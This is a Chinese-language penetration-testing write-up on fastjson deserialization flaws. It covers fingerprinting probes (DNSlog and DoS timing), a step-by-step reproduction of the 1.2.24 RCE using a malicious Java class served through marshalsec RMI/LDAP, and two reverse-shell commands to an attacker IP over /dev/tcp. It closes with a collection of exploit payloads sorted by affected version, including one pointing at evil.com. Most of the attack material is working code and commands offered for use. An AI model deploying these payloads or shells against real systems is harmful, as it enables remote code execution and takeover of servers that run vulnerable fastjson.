0x01:fastjson指紋識別
1. 報錯信息判斷fastjson
無特殊配置情況下fastjson,無正確的閉合會報錯,返回結果里有fastjson字樣。
從上圖可以看出,我們使用了一個花括號,fastjson處理json時會返回報錯信息。
2. dnslog盲打判斷fastjson
有的小伙伴就問了,如果是配置了不返回報錯信息怎么辦?那這種情況就只有利用dnslog盲打了。
這里有個小技巧就是,如果你批量檢查或者自己的dnslog里面有很多記錄。你可以這樣使用'baidu'.d1flzs.dnslog.cn,在dnslog前面加個名稱
盲打payload
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
1.2.67版本后
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
3.通過DOS延遲方式
fastjson在版本<1.2.60在取不到值的時候會填充\u001a,發生DOS,我們可以構造請求,通過響應延遲來判斷是否使用的fastjson
無構造的正常請求返回時間,28ms(這里Fiddler演示,Burp可以通過Repeater模塊右下方觀察)
構造錯誤的POST請求體返回時間,15ms(可見隨意的錯誤請求不奏效)
通過 {“a”:"\x 觸發DOS,585ms,和正常的和錯誤的請求響應時間差太多,由此來判斷使用了fastjson解析器
0x02:fastjson 1.2.24 反序列化導致任意命令執行漏洞
攻擊步驟
fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,並調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。
主機A:存在fastjson反序列化漏洞的主機
主機C:為RMI/LDAP服務
主機B:為構造的惡意類(包含要執行的命令)
在整個遠程命令執行流程:
1、黑客使用payload攻擊主機A(該payload需要指定rmi/ldap地址)
2、主機A引發反序列化漏洞,發送了進行rmi遠程發放調用,去連接主機C
3、主機C的rmi服務指定加載主機B的惡意java類,所以主機A通過主機C的rmi服務最終加載並執行主機B的惡意java類
4、主機A引發惡意系統命令執行
漏洞復現
kali安裝java版本
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
編譯惡意類
javac Exploit.java
Exploit.java源碼如下
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/hel10"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后開啟Web服務,讓rmi服務能夠獲取到惡意類。
再開啟RMI服務監聽
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
這里如果要啟動LDAP服務的話,只需把上面命令中的RMI改成LDAP即可,例如:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.133:8888/#Exploit" 9999
然后利用payload攻擊目標主機
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.88.133:9999/Exploit",
"autoCommit":true
}
}
目標主機觸發反序列化漏洞,主動進行RMI遠程調用連接VPS,RMI指定加載的是VPS上的惡意java類,從而目標主機通過RMI服務遠程加載調用到了VPS上的惡意java類。
攻擊成功。
接着反彈shell試試
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.88.133/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.88.133/1234 0>&1"
修改惡意的java類。
成功反彈shell
0x03:Fastjson<1.2.68遠程代碼執行漏洞
惡意java類
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
0x04:多版本payload集合
影響版本:
fastjson<=1.2.24
exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影響版本:
fastjson<=1.2.41
前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影響版本:
fastjson<=1.2.42
前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影響版本:
fastjson<=1.2.43
前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影響版本:
fastjson<=1.2.45
前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
影響版本:
fastjson<=1.2.47
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影響版本:
fastjson<=1.2.62
exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影響版本:
fastjson<=1.2.66
前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
0x04:參考鏈接
https://www.cnblogs.com/dyanbk/p/14281460.html fastjson 1.2.24 反序列化導致任意命令執行漏洞
https://www.freebuf.com/articles/web/258253.html fastjson 1.2.24 反序列化 RCE 漏洞復現
https://zeo.cool/2020/07/04/紅隊武器庫!fastjson小於1.2.68全漏洞RCE利用exp/ 紅隊武器庫:fastjson小於1.2.68全漏洞RCE利用exp
https://www.cnblogs.com/mysticbinary/p/12788019.html fastjson 反彈shell